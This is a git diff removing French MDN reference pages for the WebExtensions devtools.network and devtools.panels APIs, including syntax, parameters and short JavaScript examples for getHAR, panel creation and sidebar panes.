Obtenez un journal HAR pour la page chargée dans l'onglet en cours.

- -

C'est une fonction asynchrone qui renvoie une Promise.

- -

Syntaxe

- -
var getting = browser.devtools.network.getHAR()
-
- -

Paramètres

- -

None.

- -

Valeur retournée

- -

Une Promise qui sera remplie avec un objet contenant le journal HAR pour l'onglet en cours. Pour plus de détails sur ce que contient l'objet journal, reportez-vous à la spécification HAR.

- -

Compatibilité du navigateur

- - - -

{{Compat("webextensions.api.devtools.network.getHAR")}}

- -

Exemples

- -

Consignez les URL des demandes contenues dans le journal HAR :

- -
async function logRequests() {
-  let harLog = await browser.devtools.network.getHAR();
-  console.log(`HAR version: ${harLog.version}`);
-  for (let entry of harLog.entries) {
-    console.log(entry.request.url);
-  }
-}
-
-logRequestsButton.addEventListener("click", logRequests);
-
- -

{{WebExtExamples}}

- -
Remerciements : - -

Cette API est basée sur l'API Chromium chrome.devtools.network.

-
- - diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools.network/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools.network/index.html deleted file mode 100644 index 580a823371..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools.network/index.html +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: devtools.network -slug: Mozilla/Add-ons/WebExtensions/API/devtools.network -tags: - - API - - Add-ons - - Extensions - - Reference - - WebExtensions - - devtools.network -translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.network ---- -
{{AddonSidebar}}
- -

L'API devtools.network permet à une extension devtools d'obtenir des informations sur les demandes de réseau associées à la fenêtre à laquelle les devtools sont attachés (la fenêtre inspectée).

- -

Comme toutes les APIs de devtools, cette API est uniquement disponible pour le code exécuté dans le document défini dans la clé devtools_page du manifest.json, ou dans d'autres documents de devtools créés par l'extension (tel que le document du panneau). Voir Extension des outils de développement pour plus d'informations.

- -

Fonctions

- -
-
devtools.network.getHAR()
-
Obtenez le  journal HAR pour la page chargée dans l'onglet en cours..
-
- -

Evénements

- -
-
devtools.network.onNavigated
-
Attiré lorsque l'utilisateur navigue dans la fenêtre inspectée vers une nouvelle page.
-
devtools.network.onRequestFinished
-
Lancé lorsque la demande réseau est terminée et que ses détails sont disponibles pour l'extension.
-
- -

Compatibilité du navigateur

- -

{{Compat("webextensions.api.devtools.network")}}

- -

{{WebExtExamples("h2")}}

- -
Remerciements : - -

Cette API est basée sur l'API Chromium chrome.devtools.network.

-
- - diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools.network/onnavigated/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools.network/onnavigated/index.html deleted file mode 100644 index b7f0d0af31..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools.network/onnavigated/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: devtools.network.onNavigated -slug: Mozilla/Add-ons/WebExtensions/API/devtools.network/onNavigated -tags: - - API - - Add-ons - - Extensions - - Reference - - WebExtensions - - devtools.network -translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.network/onNavigated ---- -
{{AddonSidebar()}}
- -

Mise en place lorsque l'utilisateur navigue dans la fenêtre inspectée vers une nouvelle page

- -

Syntaxe

- -
browser.devtools.network.onNavigated.addListener(listener)
-browser.devtools.network.onNavigated.removeListener(listener)
-browser.devtools.network.onNavigated.hasListener(listener)
-
- -

Les événements ont trois fonctions :

- -
-
addListener(listener)
-
Ajouter un auditeur à cet événement.
-
removeListener(listener)
-
Arrêter d'écouter un événement. L'argument de l'auditeur est l'auditeur à supprimer.
-
hasListener(listener)
-
Vérifiez si l'auditeur est enregistré pour cet événement. Renvoie vrai si elle écoute, sinon faux.
-
- -

Syntaxe addListener

- -

Paramètres

- -
-
callback
-
-

Fonction qui sera appelée lors de l'événement. La fonction passera les arguments suivants :

- -
-
url
-
string. La nouvelle URL pour la fenêtre.
-
-
-
- -

Compatibilité du navigateur

- -

{{Compat("webextensions.api.devtools.network.onNavigated")}}

- - - -

Exemples

- -
function handleNavigated(url) {
-  console.log(url);
-}
-
-browser.devtools.network.onNavigated.addListener(handleNavigated);
- -

{{WebExtExamples}}

- -
Remerciements - -

Cette API est basée sur l'API chrome.devtools de Chromium.

- -

Les données de compatibilité de  Microsoft Edge sont fournies par Microsoft Corporation et sont incluses ici sous la licence Creative Commons Attribution 3.0 United States.

-
- - diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools.network/onrequestfinished/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools.network/onrequestfinished/index.html deleted file mode 100644 index e2b4d930fc..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools.network/onrequestfinished/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: devtools.network.onRequestFinished -slug: Mozilla/Add-ons/WebExtensions/API/devtools.network/onRequestFinished -tags: - - API - - Add-ons - - Event - - Extensions - - Reference - - WebExtensions - - devtools.network - - onRequestFinished -translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.network/onRequestFinished ---- -
{{AddonSidebar()}}
- -

Lancé lorsqu'une requête réseau est terminée et que ses détails sont disponibles pour l'extension.

- -

La requête est donnée en tant qu'objet d'entrée HAR, qui est également doté d'une méthode getContent() asynchrone qui récupère le contenu du corps de la réponse.

- -

Notez que bien que votre extension puisse ajouter un écouteur à tout moment,elle commencera seulement à se déclencher après que l'utilisateur a activé le moniteur réseau du navigateur au moins une fois.

- -

Syntaxe

- -
browser.devtools.network.onRequestFinished.addListener(listener)
-browser.devtools.network.onRequestFinished.removeListener(listener)
-browser.devtools.network.onRequestFinished.hasListener(listener)
-
- -

Les événements ont trois fonctions

- -
-
addListener(listener)
-
Ajoute un écouteur à cet événement.
-
removeListener(listener)
-
Arrêtez d'écouter cet événement. L'argument de listener  est l'écouteur à supprimer.
-
hasListener(listener)
-
Vérifiez si listener est enregistré pour cet événement. Renvoie trues'il écoute, sinon false.
-
- -

Syntaxe addListener

- -

Paramètres

- -
-
callback
-
-

Fonction qui sera appelée lorsque cet événement se produit. La fonction recevra les arguments suivants :

- -
-
request
-
object. Un objet représentant la requête. Cet objet est un seul objet d'entrée HAR. Il définit également une méthode getContent() asynchrone, qui renvoie une Promise qui se résout avec le corps de la réponse.
-
-
-
- -

Compatibilité du navigateur

- -

{{Compat("webextensions.api.devtools.network.onRequestFinished")}}

- - - -

Examples

- -

Ajoutez un écouteur qui consigne l'adresse IP du serveur et le corps de la réponse pour chaque requête réseau.

- -
function handleRequestFinished(request) {
-  console.log("Server IP: ", request.serverIPAddress);
-  request.getContent().then(content => {
-    console.log("Content: ", content);
-  });
-}
-
-browser.devtools.network.onRequestFinished.addListener(handleRequestFinished);
- -

{{WebExtExamples}}

- -
Remerciements - -

Cette API est basée sur l'API chrome.devtools de Chromium.

-
- - diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/create/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/create/index.html deleted file mode 100644 index 60de8f3871..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/create/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: devtools.panels.create() -slug: Mozilla/Add-ons/WebExtensions/API/devtools.panels/create -tags: - - API - - Add-ons - - Create - - Extensions - - Reference - - WebExtensions - - devtools.panels -translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.panels/create ---- -
{{AddonSidebar()}}
- -

Ajoute un nouveau panneau aux devtools.

- -

Cette fonction prend : un titre, une URL vers un fichier d'icône et une URL vers un fichier HTML. Il crée un nouveau panneau dans les devtools, dont le contenu est spécifié par le fichier HTML. Il renvoie une Promise qui résout un objet ExtensionPanel représentant le nouveau panneau.

- -

Syntaxe

- -
var creating = browser.devtools.panels.create(
-  title,       // string
-  iconPath,    // string
-  pagePath     // string
-)
-
- -

Parametères

- -
-
title
-
string. Le titre du panneau. Cela apparaitra dans la rangée des onglets le long du haut de la fenêtre des devtools, et c'est la principale façon dont l'utilisateur pourra identifier votre panneau.
-
iconPath
-
string. Spécifie une icône qui sera affichée à côté du titre. Il est fourni sous forme d'URL vers un fichier image qui a été fourni avec votre extension. L'URL est résolue par rapport à la page d'extension courante (sauf si elle est exprimée en url absolue, par exemple "/icons/panel.png").
-
pagePath
-
string. Spécifie un fichier HTML qui définit le contenu réel du panneau. Il est fourni sous la forme d'une URL d'un fichier HTML qui a été regroupé avec votre extension. L'URL est résolue par rapport à la page d'extension courante (sauf si elle est exprimée en url absolue, par exemple "/devtools/panel.html"). Le fichier HTML peut include des fichiers CSS et JavaScript, juste comme une page web normale. Le JavaScript en cours d'éxécution dans le panneau pourra utiliser les API devtools. Voir Extention des outils de développement.
-
- -

Valeur retournée

- -

Une Promise qui sera remplie avec un objet ExtensionPanel représentant le nouveau panneau.

- -

Compatibilité du navigateur

- -

{{Compat("webextensions.api.devtools.panels.create")}}

- - - -

Exemples

- -

Créer un nouveau panneau, et ajoute des auditeurs à ces événements onShown et  onHidden :

- -
function handleShown() {
-  console.log("panel is being shown");
-}
-
-function handleHidden() {
-  console.log("panel is being hidden");
-}
-
-browser.devtools.panels.create(
-  "My Panel",                 // title
-  "/icons/star.png",           // icon
-  "/devtools/panel/panel.html" // content
-).then((newPanel) => {
-  newPanel.onShown.addListener(handleShown);
-  newPanel.onHidden.addListener(handleHidden);
-});
-
- -

{{WebExtExamples}}

- -
Remerciements - -

Cette API est basée sur l'API Chromium chrome.devtools.panels.

- -

Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis.

-
- - diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/elements/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/elements/index.html deleted file mode 100644 index 18223b2718..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/elements/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: devtools.panels.elements -slug: Mozilla/Add-ons/WebExtensions/API/devtools.panels/elements -tags: - - API - - Add-ons - - Elements - - Extensions - - Reference - - WebExtensions - - devtools.panels -translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.panels/elements ---- -
{{AddonSidebar()}}
- -

Un objet ElementsPanel qui représente l'inspecteur HTML/CSS du navigateur

- -

Compatibilité du navigateur

- - - -

{{Compat("webextensions.api.devtools.panels.elements", 10)}}

- -

{{WebExtExamples}}

- -
Remerciements - -

Cette API est basée sur l'API Chromium chrome.devtools.panels.

-
diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/elementspanel/createsidebarpane/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/elementspanel/createsidebarpane/index.html deleted file mode 100644 index 7eee52fff5..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/elementspanel/createsidebarpane/index.html +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: devtools.panels.ElementsPanel.createSidebarPane() -slug: >- - Mozilla/Add-ons/WebExtensions/API/devtools.panels/ElementsPanel/createSidebarPane -tags: - - API - - Add-ons - - DevTools - - Extensions - - Reference - - WebExtensions - - createSidebarPane - - devtools.panels -translation_of: >- - Mozilla/Add-ons/WebExtensions/API/devtools.panels/ElementsPanel/createSidebarPane ---- -
{{AddonSidebar()}}
- -

Ajoute un nouveau volet à la barre latérale dans l'inspecteur HTML / CSS.

- -

L'inspecteur HTML / CSS, appelé l'inspecteur de page dans Firefox et le panneau éléments dans Chrome, affiche la page DOM dans la partie principale de sa fenêtre et possède une barre latérale qui affiche divers autres aspects de la page HTML / CSS dans une interface à onglets. Par exemple, dans Firefox, la barre latérale peut afficher les règles CSS pour l'élément sélectionné, ou ses polices, ou son modèle de boîte.

- -

La fonction createSidebarPane() ajoute un nouveau volet à la barre latérale. ar exemple, la capture d'écran ci-dessous montre un nouveau volet intitulé "My pane", qui affiche un objet JSON :

- -

- -

Cette fonction prend un argument, qui est une chaîne représentant le titre du volet. Il renvoie une Promise qui se résout en un objet ExtensionSidebarPane représentant le nouveau volet. Vous pouvez utiliser cet objet pour définir le contenu et le comportement du volet.

- -

Syntaxe

- -
var creating = browser.devtools.panels.elements.createSidebarPane(
-  title       // string
-)
-
- -

Paramètres

- -
-
title
-
string. Cela apparaîtra dans la rangée d'onglets en haut de la barre latérale, et c'est la principale façon pour l'utilisateur d'identifier votre panneau.
-
- -

Valeur retournée

- -

Une Promise qui sera remplie avec un objet ExtensionSidebarPane représentant le nouveau volet.

- -

Compatibilité du navigateur

- -

{{Compat("webextensions.api.devtools.panels.ElementsPanel.createSidebarPane", 10)}}

- - - -

Exemples

- -

Créez un nouveau volet et remplissez-le avec un objet JSON. Vous pouvez exécuter ce code dans un script chargé par la page devtools.

- -
function onCreated(sidebarPane) {
-  sidebarPane.setObject({
-    someBool: true,
-    someString: "hello there",
-    someObject: {
-      someNumber: 42,
-      someOtherString: "this is my pane's content"
-    }
-  });
-}
-
-browser.devtools.panels.elements.createSidebarPane("My pane").then(onCreated);
-
- -

{{WebExtExamples}}

- -
Remerciements - -

Cette API est basée sur l'API Chromium chrome.devtools.panels.

-
- - diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/elementspanel/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/elementspanel/index.html deleted file mode 100644 index 5c2a0413c7..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/elementspanel/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: devtools.panels.ElementsPanel -slug: Mozilla/Add-ons/WebExtensions/API/devtools.panels/ElementsPanel -tags: - - API - - Add-ons - - DevTools - - Extensions - - Reference - - WebExtensions - - devtools.panels - - devtools.panelsElementsPanel -translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.panels/ElementsPanel ---- -
{{AddonSidebar()}}
- -

Un ElementsPanel représente l'inspecteur HTML/CSS dans la devtools du navigateur. C'est ce qu'on appelle l'inspecteur de page dans Firefox et le panneau Éléments de Chrome.

- -

Fonctions

- -
-
devtools.panels.ElementsPanel.createSidebarPane()
-
Crée un volet dans la barre latérale de l'inspecteur.
-
-

Evénements

-
-
devtools.panels.ElementsPanel.onSelectionChanged
-
Appèle lorsque l'utilisateur sélectionne un élément différent dans la page, par exemple en utilisant l'élément de menu contextuel "inspect élément".
-
- -

Compatibilité du navigateur

- - - -

{{Compat("webextensions.api.devtools.panels.ElementsPanel", 10)}}

- -

{{WebExtExamples}}

- -
Remerciements - -

Cette API est basée sur l'API Chromium chrome.devtools.panels.

-
- - diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/elementspanel/onselectionchanged/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/elementspanel/onselectionchanged/index.html deleted file mode 100644 index e753d5aba1..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/elementspanel/onselectionchanged/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: onSelectionChanged -slug: >- - Mozilla/Add-ons/WebExtensions/API/devtools.panels/ElementsPanel/onSelectionChanged -tags: - - API - - Add-ons - - DevTools - - Extensions - - Reference - - WebExtensions - - devtools.panels - - devtools.panelsElementsPanel -translation_of: >- - Mozilla/Add-ons/WebExtensions/API/devtools.panels/ElementsPanel/onSelectionChanged ---- -
{{AddonSidebar()}}
- -

Appelles lorsque l'utilisateur sélectionne un élément de page différent pour l'inspection avec les outils de développement du navigateur, par exemple en sélectionnant l'élément de menu contextuel "Inspect Element" dans Firefox.

- -

Syntaxe

- -
browser.devtools.panels.elements.onSelectionChanged.addListener(listener)
-browser.devtools.panels.elements.onSelectionChanged.removeListener(listener)
-browser.devtools.panels.elements.onSelectionChanged.hasListener(listener)
-
- -

L'événement a trois fonctions :

- -
-
addListener(listener)
-
Ajoute une écoute à cet événement.
-
removeListener(listener)
-
Arrête une écoute à l'événement. L'argument de l'auditeur est un auditeur supprimer.
-
hasListener(listener)
-
Vérifiez si l'auditeur est enregistré pour cet événement. Renvoie la valeur Vrai si elle l'écoute, sinon Faux.
-
- -

Syntaxe addListener

- -

Paramètres

- -
-
callback
-
-

Fonction qui sera appelée lors de l'événement. La fonction ne passera pas d'arguments.

-
-
- -

Compatibilité du navigateur

- - - -

{{Compat("webextensions.api.devtools.panels.ElementsPanel.onSelectionChanged", 10)}}

- -

Exemples

- -

Ecoutez la sélection des événements modifiés, et enregistrez le contenu du texte de l'élément nouvellement sélectionné :

- -
function handleSelectedElement() {
-  browser.devtools.inspectedWindow.eval("$0.textContent")
-    .then((result) => {
-      console.log(result[0]);
-    });
-}
-
-browser.devtools.panels.elements.onSelectionChanged.addListener(handleSelectedElement);
- -

{{WebExtExamples}}

- -
Remerciements - -

Cette API est basée sur l'API Chromium chrome.devtools.

-
diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionpanel/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionpanel/index.html deleted file mode 100644 index e083ff02b3..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionpanel/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: devtools.panels.ExtensionPanel -slug: Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionPanel -tags: - - API - - Add-ons - - Extensions - - Reference - - WebExtensions - - devtools.panels -translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionPanel ---- -
{{AddonSidebar()}}
- -

Une ExtensionPanel représente un panneau ajouté aux devtools. C'est la résolution de la Promise renvoyé par browser.devtools.panels.create().

- -

Type

- -

Les valeurs de ce type sont des objets. Définissez deux événements, onShown et onHidden.

- -
    -
  • onShown est émis lorsque le panneau est affiché dans les devtools (par exemple, quand l'utilisateur a cliqué sur le panneau dans la fenêtre des  devtools).
    • -
  • onHidden est émis lorsque le panneau est caché (par exemple, quand l'utilisateur a basculé sur un onglet différent dans la fenêtre devtools).
    • -
- -

Compatibilité du navigateur

- -

{{Compat("webextensions.api.devtools.panels.ExtensionPanel")}}

- - - -

Exemples

- -

Ce code crée un nouveau panneau, puis ajoute des gestionnaires pour ces événements onShown et onHidden.

- -
function handleShown(e) {
-  console.log(e);
-  console.log("panel is being shown");
-}
-
-function handleHidden(e) {
-  console.log(e);
-  console.log("panel is being hidden");
-}
-
-browser.devtools.panels.create(
-  "My Panel",                 // title
-  "icons/star.png",           // icon
-  "devtools/panel/panel.html" // content
-).then((newPanel) => {
-  newPanel.onShown.addListener(handleShown);
-  newPanel.onHidden.addListener(handleHidden);
-});
- -

{{WebExtExamples}}

- -
Remerciements - -

Cette API est basée sur l'API Chromium chrome.devtools.panels.

- -

Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis.

-
- - diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionsidebarpane/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionsidebarpane/index.html deleted file mode 100644 index 02ee0a2073..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionsidebarpane/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: devtools.panels.ExtensionSidebarPane -slug: Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionSidebarPane -tags: - - API - - Add-ons - - DevTools - - Extensions - - Reference - - WebExtensions - - devtools.panels - - devtools.panels.ExtensionSidebarPane -translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionSidebarPane ---- -
{{AddonSidebar}}
- -

L'objet ExtensionSidebarPane représente un volet qu'une extension a ajouté à la barre latérale dans l'inspecteur HTML/CSS du navigateur.

- -

- -

Pour créer un ExtensionSidebarPane, appelez la fonction browser.devtools.panels.elements.createSidebarane().

- -

Fonctions

- -
-
devtools.panels.ExtensionSidebarPane.setExpression()
-
-

Évaluer une expression JavaScript dans la page Web inspectée par l'inspecteur. Le résultat est affiché dans le volet de la barre latérale.

-
-
devtools.panels.ExtensionSidebarPane.setObject()
-
-

Définit un objet JSON qui sera affiché dans le volet de la barre latérale.

-
-
devtools.panels.ExtensionSidebarPane.setPage()
-
-

Charge la page pointée par l'URL fournie.

-
-
- -

Evénements

- -
-
devtools.panels.ExtensionSidebarPane.onShown
-
Lancé lorsque le volet latéral est affiché.
-
devtools.panels.ExtensionSidebarPane.onHidden
-
Lancé lorsque le volet de la barre latérale est masqué.
-
- -

Compatibilité du navigateur

- -

{{Compat("webextensions.api.devtools.panels.ExtensionSidebarPane", 10)}}

- -

{{WebExtExamples("h2")}}

- -
Remerciements - -

Cette API est basée sur l'API Chromium chrome.devtools.panels.

-
- - diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionsidebarpane/onhidden/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionsidebarpane/onhidden/index.html deleted file mode 100644 index a1a18463e5..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionsidebarpane/onhidden/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: devtools.panels.ExtensionSidebarPane.onHidden -slug: >- - Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionSidebarPane/onHidden -tags: - - API - - Add-ons - - ExtensionSidebarPane - - Extensions - - Reference - - WebExtensions - - devtools.panels - - onHidden -translation_of: >- - Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionSidebarPane/onHidden ---- -
{{AddonSidebar()}}
- -

Appelé lorsque le volet de la barre latérale est masqué, suite à l'abandon de l'utilisateur.

- -

Syntaxe

- -
browser.devtools.panels.onHidden.addListener(listener)
-browser.devtools.panels.onHidden.removeListener(listener)
-browser.devtools.panels.onHidden.hasListener(listener)
-
- -

Les événements ont trois fonctions:

- -
-
addListener(callback)
-
Ajoute un écouteur à cet événement.
-
removeListener(listener)
-
Arrête d'écouter cet événement. L'argument listener est l'écouteur à supprimer.
-
hasListener(listener)
-
Vérifie si listener est enregistré pour cet événement. Renvoie true s'il écoute,  sinon false.
-
- -

Syntaxe addListener

- -

Paramètres

- -
-
callback
-
-

Fonction appelée lorsque cet événement se produit. Cette fonction sera passée sans arguments.

-
-
- -

Compatibilité du navigateur

- - - -

{{Compat("webextensions.api.devtools.panels.ExtensionSidebarPane.onHidden", 10)}}

- -

Exemples

- -

Créez un volet de barre latérale et journal afficher et masquer les événements.

- -
function onCreated(sidebarPane) {
-
-  sidebarPane.onShown.addListener(() => {
-    console.log("Shown");
-  });
-
-  sidebarPane.onHidden.addListener(() => {
-    console.log("Hidden");
-  });
-
-}
-
-browser.devtools.panels.elements.createSidebarPane("My pane").then(onCreated);
-
- -

{{WebExtExamples}}

- -
Remerciements - -

Cette API est basée sur l'API Chromium chrome.devtools.panels.

-
diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionsidebarpane/onshown/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionsidebarpane/onshown/index.html deleted file mode 100644 index 3ca3412af2..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionsidebarpane/onshown/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: devtools.panels.ExtensionSidebarPane.onShown -slug: Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionSidebarPane/onShown -tags: - - API - - Add-ons - - Extensions - - ExtesionsSidebarPane - - Reference - - WebExtensions - - devtools.panels - - onShown -translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionSidebarPane/onShown ---- -
{{AddonSidebar()}}
- -

Lancé lorsque le volet latéral devient visible suite à un changement d'utilisateur.

- -

Syntaxe

- -
browser.devtools.panels.onShown.addListener(listener)
-browser.devtools.panels.onShown.removeListener(listener)
-browser.devtools.panels.onShown.hasListener(listener)
-
- -

Les événements ont trois fonctions :

- -
-
addListener(callback)
-
Ajoute un écouteur à cet événement.
-
removeListener(listener)
-
Arrêtez d'écouter cet événement. L'argument de listener est l'écouteur à supprimer.
-
hasListener(listener)
-
Vérifiez si listener est enregistré pour cet événement. Renvoie true s'il écoute, sinon false.
-
- -

Syntaxe addListener

- -

Paramètres

- -
-
callback
-
-

Fonction qui sera appelée lorsque cet événement se produit. La fonction sera passée sans arguments.

-
-
- -

Compatibilité du navigateur

- - - -

{{Compat("webextensions.api.devtools.panels.ExtensionSidebarPane.onShown", 10)}}

- -

Exemples

- -

Créez un volet de barre latérale et journal afficher et masquer les événements.

- -
function onCreated(sidebarPane) {
-
-  sidebarPane.onShown.addListener(() => {
-    console.log("Shown");
-  });
-
-  sidebarPane.onHidden.addListener(() => {
-    console.log("Hidden");
-  });
-
-}
-
-browser.devtools.panels.elements.createSidebarPane("My pane").then(onCreated);
-
- -

{{WebExtExamples}}

- -
Remerciements - -

Cette API est basée sur l'API Chromium chrome.devtools.panels.

-
diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionsidebarpane/setexpression/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionsidebarpane/setexpression/index.html deleted file mode 100644 index d2c97c5f82..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionsidebarpane/setexpression/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: devtools.panels.ElementsPanel.setExpression() -slug: >- - Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionSidebarPane/setExpression -tags: - - API - - Add-ons - - Extensions - - Reference - - WebExtensions - - devtools.panels - - setExpression -translation_of: >- - Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionSidebarPane/setExpression ---- -
{{AddonSidebar()}}
- -

Evalue une expression dans le contexte de la page inspectée et affiche le résultat dans le volet de la barre latérale d'extension.

- -

Le contexte d'exécution de l'expression est le même que celui de inspectedWindow.eval().

- -

 Les objets JSON et les noeuds DOM sont affichés en tant qu'arborescence extensible, comme dans la visionneuse jSON dans Firefox. Vous pouvez éventuellement spécifier une chaîne rootTitle : elle sera affichée comme le titre de la racine de l'arbre.

- -

C'est une fonction asynchrone qui renvoie une Promise.

- -

Syntaxe

- -
var evaluating = browser.devtools.panels.setExpression(
-  expression,       // string
-  rootTitle         // string
-)
-
- -

Paramètres

- -
-
expression
-
string. L'expression à évaluer.
-
rootTitle {{optional_inline}}
-
string. Le titre de la racine de l'arbre dans lequel les résultats sont affichés.
-
- -

Valeur retournée

- -

Une Promise sera remplie sans arguments, une fois l'expression évaluée.

- -

Compatibilité du navigateur

- -

{{Compat("webextensions.api.devtools.panels.ExtensionSidebarPane.setExpression", 10)}}

- - - -

Exemples

- -

Ce code crée un volet de barre latérale qui affiche le tagName de l'élément actuellement sélectionné :

- -
function onCreated(sidebarPane) {
-
-  browser.devtools.panels.elements.onSelectionChanged.addListener(() => {
-    const exp = "$0 && $0.tagName";
-    const title = "Selected Element tagName";
-    sidebarPane.setExpression(exp, title);
-  });
-
-}
-
-browser.devtools.panels.elements.createSidebarPane("My pane").then(onCreated);
-
- -

{{WebExtExamples}}

- -
Remerciements - -

Cette API est basée sur l'API Chromium chrome.devtools.panels.

-
- - diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionsidebarpane/setobject/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionsidebarpane/setobject/index.html deleted file mode 100644 index 90252a0c2f..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionsidebarpane/setobject/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: devtools.panels.ExtensionSidebarPane.setObject() -slug: >- - Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionSidebarPane/setObject -tags: - - API - - Add-ons - - Extensions - - Reference - - WebExtensions - - devtools.panels - - setObject -translation_of: >- - Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionSidebarPane/setObject ---- -
{{AddonSidebar()}}
- -

Affiche un objet JSON dans le volet de la barre latérale de l'extension.

- -

L'objet est affiché en tant qu'arborescence extensible, comme dans le JSON viewer dans Firefox. Vous pouvez éventuellement spécifier une chaîne rootTitle : elle sera affichée comme le titre de la racine de l'arbre.

- -

C'est une fonction asynchrone qui renvoie une Promise.

- -

Syntaxe

- -
var setting = browser.devtools.panels.setObject(
-  jsonObject,       // string, array, or JSON object
-  rootTitle         // string
-)
-
- -

Paramètres

- -
-
jsonObject
-
String ou Array ou Object. L'objet à afficher. S'il s'agit d'un objet JSON-serialized, donc les propriétés comme les fonctions seront omises.
-
rootTitle {{optional_inline}}
-
String. Le titre de la racine de l'arbre dans lequel l'objet est affiché.
-
- -

Valeur retournée

- -

Une Promise qui sera accomplie sans arguments, une fois l'objet défini.

- -

Compatibilité du navigateur

- -

{{Compat("webextensions.api.devtools.panels.ExtensionSidebarPane.setObject", 10)}}

- - - -

Exemples

- -

Créez un nouveau volet et remplissez-le avec un objet JSON. Vous pouvez exécuter ce code dans un script chargé par la page devtools. de votre extension

- -
function onCreated(sidebarPane) {
-  sidebarPane.setObject({
-    someBool: true,
-    someString: "hello there",
-    someObject: {
-      someNumber: 42,
-      someOtherString: "this is my pane's content"
-    }
-  });
-}
-
-browser.devtools.panels.elements.createSidebarPane("My pane").then(onCreated);
- -

{{WebExtExamples}}

- -
Remerciements - -

Cette API est basée sur l'API Chromium chrome.devtools.panels.

-
